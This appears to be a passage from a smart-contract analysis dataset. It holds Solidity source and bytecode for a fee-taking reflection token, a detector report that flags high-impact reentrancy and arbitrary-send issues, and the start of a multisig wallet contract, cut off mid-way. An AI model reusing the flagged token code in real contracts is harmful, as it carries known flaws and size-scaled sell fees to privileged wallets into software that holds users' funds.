function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ArmstrongInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Armstrong Inu";
string private constant _symbol = unicode"NASA";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(8)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 8;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610374578063c3c8cd8014610394578063c9567bf9146103a9578063db92dbb6146103be578063dd62ed3e146103d3578063e8078d941461041957600080fd5b8063715018a6146102cb5780638da5cb5b146102e057806395d89b4114610308578063a9059cbb14610335578063a985ceef1461035557600080fd5b8063313ce567116100fd578063313ce5671461021857806345596e2e146102345780635932ead11461025657806368a3a6a5146102765780636fc3eaec1461029657806370a08231146102ab57600080fd5b806306fdde0314610145578063095ea7b31461018d57806318160ddd146101bd57806323b872dd146101e357806327f3a72a1461020357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600d81526c41726d7374726f6e6720496e7560981b60208201525b6040516101849190611bea565b60405180910390f35b34801561019957600080fd5b506101ad6101a8366004611b42565b61042e565b6040519015158152602001610184565b3480156101c957600080fd5b50683635c9adc5dea000005b604051908152602001610184565b3480156101ef57600080fd5b506101ad6101fe366004611b02565b610445565b34801561020f57600080fd5b506101d56104ae565b34801561022457600080fd5b5060405160098152602001610184565b34801561024057600080fd5b5061025461024f366004611ba5565b6104be565b005b34801561026257600080fd5b50610254610271366004611b6d565b610567565b34801561028257600080fd5b506101d5610291366004611a92565b6105e6565b3480156102a257600080fd5b50610254610609565b3480156102b757600080fd5b506101d56102c6366004611a92565b610636565b3480156102d757600080fd5b50610254610658565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561031457600080fd5b506040805180820190915260048152634e41534160e01b6020820152610177565b34801561034157600080fd5b506101ad610350366004611b42565b6106cc565b34801561036157600080fd5b50601454600160a81b900460ff166101ad565b34801561038057600080fd5b506101d561038f366004611a92565b6106d9565b3480156103a057600080fd5b506102546106ff565b3480156103b557600080fd5b50610254610735565b3480156103ca57600080fd5b506101d5610782565b3480156103df57600080fd5b506101d56103ee366004611aca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042557600080fd5b5061025461079a565b600061043b338484610b4d565b5060015b92915050565b6000610452848484610c71565b6104a4843361049f85604051806060016040528060288152602001611dc3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611214565b610b4d565b5060019392505050565b60006104b930610636565b905090565b6011546001600160a01b0316336001600160a01b0316146104de57600080fd5b6033811061052b5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105915760405162461bcd60e51b815260040161052290611c3d565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161055c565b6001600160a01b03811660009081526006602052604081205461043f9042611d2d565b6011546001600160a01b0316336001600160a01b03161461062957600080fd5b476106338161124e565b50565b6001600160a01b03811660009081526002602052604081205461043f906112d3565b6000546001600160a01b031633146106825760405162461bcd60e51b815260040161052290611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061043b338484610c71565b6001600160a01b03811660009081526006602052604081206001015461043f9042611d2d565b6011546001600160a01b0316336001600160a01b03161461071f57600080fd5b600061072a30610636565b905061063381611357565b6000546001600160a01b0316331461075f5760405162461bcd60e51b815260040161052290611c3d565b6014805460ff60a01b1916600160a01b17905561077d426078611ce2565b601555565b6014546000906104b9906001600160a01b0316610636565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161052290611c3d565b601454600160a01b900460ff161561081e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610522565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085b3082683635c9adc5dea00000610b4d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089457600080fd5b505afa1580156108a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cc9190611aae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091457600080fd5b505afa158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c9190611aae565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611aae565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71947306109fc81610636565b600080610a116000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7457600080fd5b505af1158015610a88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aad9190611bbd565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1157600080fd5b505af1158015610b25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b499190611b89565b5050565b6001600160a01b038316610baf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610522565b6001600160a01b038216610c105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610522565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610522565b6001600160a01b038216610d375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610522565b60008111610d995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610522565b6000546001600160a01b03848116911614801590610dc557506000546001600160a01b03838116911614155b156111b757601454600160a81b900460ff1615610e45573360009081526006602052604090206002015460ff16610e4557604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7057506013546001600160a01b03838116911614155b8015610e9557506001600160a01b03821660009081526005602052604090205460ff16155b15610ff957601454600160a01b900460ff16610ef35760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610522565b60026009556008600a55601454600160a81b900460ff1615610fbf57426015541115610fbf57601054811115610f2857600080fd5b6001600160a01b0382166000908152600660205260409020544211610f9a5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610522565b610fa542602d611ce2565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ff957610fdc42600f611ce2565b6001600160a01b0383166000908152600660205260409020600101555b600061100430610636565b601454909150600160b01b900460ff1615801561102f57506014546001600160a01b03858116911614155b80156110445750601454600160a01b900460ff165b156111b557601454600160a81b900460ff16156110d1576001600160a01b03841660009081526006602052604090206001015442116110d15760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610522565b601454600160b81b900460ff16156111365760006110fa600c54846114fc90919063ffffffff16565b6014549091506111299061112290859061111c906001600160a01b0316610636565b9061157b565b82906115da565b90506111348161161c565b505b80156111a357600b5460145461116c916064916111669190611160906001600160a01b0316610636565b906114fc565b906115da565b81111561119a57600b54601454611197916064916111669190611160906001600160a01b0316610636565b90505b6111a381611357565b4780156111b3576111b34761124e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111f957506001600160a01b03831660009081526005602052604090205460ff165b15611202575060005b61120e8484848461168a565b50505050565b600081848411156112385760405162461bcd60e51b81526004016105229190611bea565b5060006112458486611d2d565b95945050505050565b6011546001600160a01b03166108fc6112688360026115da565b6040518115909202916000818181858888f19350505050158015611290573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112ab8360026115da565b6040518115909202916000818181858888f19350505050158015610b49573d6000803e3d6000fd5b600060075482111561133a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610522565b60006113446116b8565b905061135083826115da565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ad57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140157600080fd5b505afa158015611415573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114399190611aae565b8160018151811061145a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114809130911684610b4d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b9908590600090869030904290600401611c72565b600060405180830381600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261150b5750600061043f565b60006115178385611d0e565b9050826115248583611cfa565b146113505760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610522565b6000806115888385611ce2565b9050838110156113505760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610522565b600061135083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116db565b600a8082101561162e5750600a611642565b602882111561163f57506028611642565b50805b61164d816002611709565b15611660578061165c81611d44565b9150505b611670600a6111668360026114fc565b600955611683600a6111668360086114fc565b600a555050565b806116975761169761174b565b6116a2848484611779565b8061120e5761120e600e54600955600f54600a55565b60008060006116c5611870565b90925090506116d482826115da565b9250505090565b600081836116fc5760405162461bcd60e51b81526004016105229190611bea565b5060006112458486611cfa565b600061135083836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118b2565b60095415801561175b5750600a54155b1561176257565b60098054600e55600a8054600f5560009182905555565b60008060008060008061178b876118e6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117bd9087611943565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ec908661157b565b6001600160a01b03891660009081526002602052604090205561180e81611985565b61181884836119cf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185d91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061188c82826115da565b8210156118a957505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118d35760405162461bcd60e51b81526004016105229190611bea565b506118de8385611d5f565b949350505050565b60008060008060008060008060006119038a600954600a546119f3565b92509250925060006119136116b8565b905060008060006119268e878787611a42565b919e509c509a509598509396509194505050505091939550919395565b600061135083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b600061198f6116b8565b9050600061199d83836114fc565b306000908152600260205260409020549091506119ba908261157b565b30600090815260026020526040902055505050565b6007546119dc9083611943565b6007556008546119ec908261157b565b6008555050565b6000808080611a07606461116689896114fc565b90506000611a1a60646111668a896114fc565b90506000611a3282611a2c8b86611943565b90611943565b9992985090965090945050505050565b6000808080611a5188866114fc565b90506000611a5f88876114fc565b90506000611a6d88886114fc565b90506000611a7f82611a2c8686611943565b939b939a50919850919650505050505050565b600060208284031215611aa3578081fd5b813561135081611d9f565b600060208284031215611abf578081fd5b815161135081611d9f565b60008060408385031215611adc578081fd5b8235611ae781611d9f565b91506020830135611af781611d9f565b809150509250929050565b600080600060608486031215611b16578081fd5b8335611b2181611d9f565b92506020840135611b3181611d9f565b929592945050506040919091013590565b60008060408385031215611b54578182fd5b8235611b5f81611d9f565b946020939093013593505050565b600060208284031215611b7e578081fd5b813561135081611db4565b600060208284031215611b9a578081fd5b815161135081611db4565b600060208284031215611bb6578081fd5b5035919050565b600080600060608486031215611bd1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1657858101830151858201604001528201611bfa565b81811115611c275783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc15784516001600160a01b031683529383019391830191600101611c9c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf557611cf5611d73565b500190565b600082611d0957611d09611d89565b500490565b6000816000190483118215151615611d2857611d28611d73565b500290565b600082821015611d3f57611d3f611d73565b500390565b6000600019821415611d5857611d58611d73565b5060010190565b600082611d6e57611d6e611d89565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063357600080fd5b801515811461063357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220945f19b17bf6cbfdae9f300cb803b547330e769393507b07f2384ad1f6ece27e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,082 |
0x69e3b5d1e6847a25a1216112dfe4ce580b46f456
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="b8cbccddded9d696dfddd7cadfddf8dbd7d6cbddd6cbc1cb96d6ddcc">[email protected]</span>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
